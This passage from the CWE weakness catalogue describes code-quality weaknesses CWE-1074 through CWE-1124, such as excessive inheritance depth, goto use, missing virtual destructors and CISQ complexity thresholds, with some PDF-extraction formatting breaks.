This issue can make the software perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

While the interpretation of "large number of data accesses/queries" may vary for each product or developer, CISQ recommends a default maximum of 2 data accesses per function/method.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1074: Class with Excessively Deep Inheritance

<b>Weakness ID</b> : 1074	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

A class has an inheritance level that is too high, i.e., it has a large number of parent classes.

### Extended Description

This issue makes it more difficult to understand and maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

While the interpretation of "large number of parent classes" may vary for each product or developer, CISQ recommends a default maximum of 7 parent classes.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1075: Unconditional Control Flow Transfer outside of Switch Block

<b>Weakness ID</b> : 1075	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software performs unconditional control transfer (such as a "goto") in code outside of a branching structure such as a switch block.

### Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. ParentOf		1098	Data Element containing Pointer Item without Proper Copy Control Element	1694
ParentOf		1108	Excessive Reliance on Global Variables	1702

### Weakness Ordinalities

Indirect :

### Common Consequences

Scope	Impact	Likelihood
Other	Reduce Maintainability	

## CWE-1077: Floating Point Comparison with Incorrect Operator

Weakness ID : 1077

Status: Incomplete

Structure : Simple

Abstraction : Variant

### Description

The code performs a comparison such as an equality test between two float (floating point) values, but it uses comparison operators that do not account for the possibility of loss of precision.

### Extended Description

Numeric calculation using floating point values can generate imprecise results because of rounding errors. As a result, two different calculations might generate numbers that are mathematically equal, but have slightly different bit representations that do not translate to the same mathematically-equal values. As a result, an equality test or other comparison might produce unexpected results.

This issue can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1080: Source Code File with Excessive Number of Lines of Code

<b>Weakness ID</b> : 1080	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

## Description

A source code file has too many lines of code.

## Extended Description

This issue makes it more difficult to understand and/or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

While the interpretation of "too many lines of code" may vary for each product or developer, CISQ recommends a default threshold value of 1000.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

**CWE-1082: Class Instance Self Destruction Control Element**

<b>Weakness ID :</b> 1082	<b>Status:</b> Incomplete
<b>Structure :</b> Simple	
<b>Abstraction :</b> Base	

Description

The code contains a class instance that calls the method or function to delete or destroy itself.

Extended Description

For example, in C++, "delete this" will cause the object to delete itself.

This issue can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1083: Data Access from Outside Expected Data Manager Component

**Weakness ID** : 1083

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Base

### Description

The software is intended to manage data access through a particular data manager component such as a relational or non-SQL database, but it contains code that performs data access operations without using that component.

### Extended Description

When the software has a data access component, the design may be intended to handle all data access operations through that component. If a data access operation is performed outside of that component, then this may indicate a violation of the intended design.

This issue can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

## CWE-1084: Invokable Control Element with Excessive File or Data Access Operations

<b>Weakness ID</b> : 1084	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

A function or method contains too many operations that utilize a data manager or file resource.

### Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

While the interpretation of "too many operations" may vary for each product or developer, CISQ recommends a default maximum of 7 operations for the same data manager or file.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1085: Invokable Control Element with Excessive Volume of Commented-out Code

<b>Weakness ID</b> : 1085	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

A function, method, procedure, etc. contains an excessive amount of code that has been commented out within its body.

### Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

While the interpretation of "excessive volume" may vary for each product or developer, CISQ recommends a default threshold of 2% of commented code.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1086: Class with Excessive Number of Child Classes

<b>Weakness ID</b> : 1086	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

A class contains an unnecessarily large number of children.

### Extended Description

This issue makes it more difficult to understand and maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

While the interpretation of "large number of children" may vary for each product or developer, CISQ recommends a default maximum of 10 child classes.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1087: Class with Virtual Method without a Virtual Destructor

<b>Weakness ID</b> : 1087	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

A class contains a virtual method, but the method does not have an associated virtual destructor.

### Extended Description

This issue can prevent the software from running reliably, e.g. due to undefined behavior. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1088: Synchronous Access of Remote Resource without Timeout

<b>Weakness ID</b> : 1088	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

## Description

The code has a synchronous call to a remote resource, but there is no timeout for the call, or the timeout is set to infinite.

## Extended Description

This issue can prevent the software from running reliably, since an outage for the remote resource can cause the software to hang. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1089: Large Data Table with Excessive Number of Indices

<b>Weakness ID</b> : 1089	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software uses a large data table that contains an excessively large number of indices.

### Extended Description

This issue can make the software perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

While the interpretation of "large data table" and "excessively large number of indices" may vary for each product or developer, CISQ recommends a default threshold of 1000000 rows for a "large" table and a default threshold of 3 indices.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1090: Method Containing Access of a Member Element from Another Class

<b>Weakness ID</b> : 1090	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

A method for a class performs an operation that directly accesses a member element from another class.

### Extended Description

This issue suggests poor encapsulation and makes it more difficult to understand and maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1091: Use of Object without Invoking Destructor Method

<b>Weakness ID</b> : 1091	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software contains a method that accesses an object but does not later invoke the element's associated finalize/destructor method.

### Extended Description

This issue can make the software perform more slowly by retaining memory and/or other resources longer than necessary. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1093: Excessively Complex Data Representation

<b>Weakness ID</b> : 1093	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Class	

### Description

The software uses an unnecessarily complex internal representation for its data structures or interrelationships between those structures.

### Extended Description

This issue makes it more difficult to understand or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1094: Excessive Index Range Scan for a Data Resource

**Weakness ID** : 1094**Status**: Incomplete**Structure** : Simple**Abstraction** : Base

### Description

The software contains an index range scan for a large data table, but the scan can cover a large number of rows.

### Extended Description

This issue can make the software perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

While the interpretation of "large data table" and "excessive index range" may vary for each product or developer, CISQ recommends a threshold of 1000000 table rows and a threshold of 10 for the index range.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. ## CWE-1095: Loop Condition Value Update within the Loop

<b>Weakness ID</b> : 1095	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The software uses a loop with a control flow condition based on a value that is updated within the body of the loop.

### Extended Description

This issue makes it more difficult to understand and/or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. ## CWE-1096: Singleton Class Instance Creation without Proper Locking or Synchronization

Weakness ID : 1096

Status: Incomplete

Structure : Simple

Abstraction : Variant

### Description

The software implements a Singleton design pattern but does not use appropriate locking or other synchronization mechanism to ensure that the singleton class is only instantiated once.

### Extended Description

This issue can prevent the software from running reliably, e.g. by making the instantiation process non-thread-safe and introducing deadlock (CWE-833) or livelock conditions. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page

## CWE-1097: Persistent Storable Data Element without Associated Comparison Control Element

Weakness ID : 1097

Status: Incomplete

Structure : Simple

**Abstraction** : Base

## Description

The software uses a storable data element that does not have all of the associated functions or methods that are necessary to support comparison.

## Extended Description

For example, with Java, a class that is made persistent requires both hashCode() and equals() methods to be defined.

This issue can prevent the software from running reliably, due to incorrect or unexpected comparison results. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1098: Data Element containing Pointer Item without Proper Copy Control Element

Weakness ID : 1098

Status: Incomplete

Structure : Simple

Abstraction : Variant

### Description

The code contains a data element with a pointer that does not have an associated copy or constructor method.

### Extended Description

This issue can prevent the software from running reliably. If the relevant code is reachable by an attacker, then this reliability problem might introduce a vulnerability.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1099: Inconsistent Naming Conventions for Identifiers

<b>Weakness ID</b> : 1099	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The product's code, documentation, or other artifacts do not consistently use the same naming conventions for variables, callables, groups of related callables, I/O capabilities, data types, file names, or similar types of elements.

### Extended Description

This issue makes it more difficult to understand and/or maintain the software due to inconsistencies, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

## CWE-1100: Insufficient Isolation of System-Dependent Functions

<b>Weakness ID</b> : 1100	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The product or code does not isolate system-dependent functionality into separate standalone modules.

### Extended Description

This issue makes it more difficult to maintain and/or port the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1101: Reliance on Runtime Component in Generated Code

**Weakness ID :** 1101 **Status:** Incomplete

**Structure :** Simple

**Abstraction :** Base

### Description

The product uses automatically-generated code that cannot be executed without a specific runtime support component.

### Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1102: Reliance on Machine-Dependent Data Representation

<b>Weakness ID</b> : 1102	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

## Description

The code uses a data representation that relies on low-level data representation or constructs that may vary across different processors, physical machines, OSes, or other physical components.

## Extended Description

This issue makes it more difficult to maintain and/or port the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1103: Use of Platform-Dependent Third Party Components

**Weakness ID :** 1103 **Status:** Incomplete  
**Structure :** Simple  
**Abstraction :** Base

### Description

The product relies on third-party software components that do not provide equivalent functionality across all desirable platforms.

### Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1104: Use of Unmaintained Third Party Components

**Weakness ID :** 1104 **Status:** Incomplete  
**Structure :** Simple  
**Abstraction :** Base

## Description

The product relies on third-party components that are not actively supported or maintained by the original developer or a trusted proxy for the original developer.

## Extended Description

Reliance on components that are no longer maintained can make it difficult or impossible to fix significant bugs, vulnerabilities, or quality issues. In effect, unmaintained code can become obsolete.

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1105: Insufficient Encapsulation of Machine-Dependent Functionality

<b>Weakness ID :</b> 1105	<b>Status:</b> Incomplete
<b>Structure :</b> Simple	
<b>Abstraction :</b> Base	

## Description

The product or code uses machine-dependent functionality, but it does not sufficiently encapsulate or isolate this functionality from the rest of the code.

## Extended Description

This issue makes it more difficult to port or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1106: Insufficient Use of Symbolic Constants

<b>Weakness ID</b> : 1106	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The source code uses literal constants that may need to change or evolve over time, instead of using symbolic constants.

### Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1107: Insufficient Isolation of Symbolic Constant Definitions

<b>Weakness ID</b> : 1107	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The source code uses symbolic constants, but it does not sufficiently place the definitions of these constants into a more centralized or isolated location.

### Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. ## CWE-1108: Excessive Reliance on Global Variables

**Weakness ID :** 1108 **Status:** Incomplete  
**Structure :** Simple  
**Abstraction :** Base

### Description

The code is structured in a way that relies too much on using or setting global variables throughout various points in the code, instead of preserving the associated information in a narrower, more local context.

### Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1109: Use of Same Variable for Multiple Purposes

**Weakness ID :** 1109 **Status:** Incomplete  
**Structure :** Simple  
**Abstraction :** Base

## Description

The code contains a callable, block, or other code element in which the same variable is used to control more than one unique task or store more than one instance of data.

## Extended Description

Use of the same variable for multiple purposes can make it more difficult for a person to read or understand the code, potentially hiding other quality issues.

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. ## CWE-1113: Inappropriate Comment Style

<b>Weakness ID</b> : 1113	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The source code uses comment styles or formats that are inconsistent or do not follow expected standards for the product.

### Extended Description

This issue makes it more difficult to maintain the software due to insufficient legibility, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1078	Inappropriate Source Code Style or Formatting	1675

*Relevant to the view "Software Development" (CWE-699)*

## CWE-1114: Inappropriate Whitespace Style

**Weakness ID :** 1114

**Status:** Incomplete

**Structure :** Simple

**Abstraction :** Base

### Description

The source code contains whitespace that is inconsistent across the code or does not follow expected standards for the product.

### Extended Description

This issue makes it more difficult to understand and maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1115: Source Code Element without Standard Prologue

<b>Weakness ID</b> : 1115	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The source code contains elements such as source files that do not consistently provide a prologue or header that has been standardized for the project.

### Extended Description

The lack of a prologue can make it more difficult to accurately and quickly understand the associated code. Standard prologues or headers may contain information such as module name, version number, author, date, purpose, function, assumptions, limitations, accuracy considerations, etc.

This issue makes it more difficult to maintain the software due to insufficient analyzability, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page

## CWE-1116: Inaccurate Comments

<b>Weakness ID</b> : 1116	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The source code contains comments that do not accurately describe or explain aspects of the portion of the code with which the comment is associated.

### Extended Description

When a comment does not accurately reflect the associated code elements, this can introduce confusion to a reviewer (due to inconsistencies) or make it more difficult and less efficient to validate that the code is implementing the intended behavior correctly.

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

## CWE-1117: Callable with Insufficient Behavioral Summary

Weakness ID : 1117

Status: Incomplete

Structure : Simple

Abstraction : Base

### Description

The code contains a function or method whose signature and/or associated inline documentation does not sufficiently describe the callable's inputs, outputs, side effects, assumptions, or return codes.

### Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1118: Insufficient Documentation of Error Handling Techniques

<b>Weakness ID :</b> 1118	<b>Status:</b> Incomplete
<b>Structure :</b> Simple	
<b>Abstraction :</b> Base	

## Description

The documentation does not sufficiently describe the techniques that are used for error handling, exception processing, or similar mechanisms.

## Extended Description

Documentation may need to cover error handling techniques at multiple layers, such as module, executable, compilable code unit, or callable.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1119: Excessive Use of Unconditional Branching

<b>Weakness ID</b> : 1119	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The code uses too many unconditional branches (such as "goto").

### Extended Description

This issue makes it more difficult to understand and/or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

## CWE-1120: Excessive Code Complexity

<b>Weakness ID</b> : 1120	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Class	

### Description

The code is too complex, as calculated using a well-defined, quantitative measure.

### Extended Description

This issue makes it more difficult to understand and/or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

This issue can make the software perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

## CWE-1121: Excessive McCabe Cyclomatic Complexity

<b>Weakness ID</b> : 1121	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	

**Abstraction** : Base**Description**

The code contains McCabe cyclomatic complexity that exceeds a desirable maximum.

**Extended Description**

This issue makes it more difficult to understand and/or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

**Relationships**

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

**CWE-1122: Excessive Halstead Complexity****Weakness ID** : 1122**Status**: Incomplete**Structure** : Simple

**Abstraction** : Base**Description**

The code is structured in a way that a Halstead complexity measure exceeds a desirable maximum.

**Extended Description**

A variety of Halstead complexity measures exist, such as program vocabulary size or volume.

This issue makes it more difficult to understand and/or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

**Relationships**

The table(s) below shows the weaknesses and high level categories that are related to this weakness. **CWE-1123: Excessive Use of Self-Modifying Code**

**Weakness ID** : 1123

**Status**: Incomplete

**Structure** : Simple

**Abstraction** : Base

**Description**

The product uses too much self-modifying code.

**Extended Description**

This issue makes it more difficult to understand or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. ## CWE-1124: Excessively Deep Nesting

<b>Weakness ID</b> : 1124	<b>Status</b> : Incomplete
<b>Structure</b> : Simple	
<b>Abstraction</b> : Base	

### Description

The code contains a callable or other code grouping in which the nesting / branching is too deep.

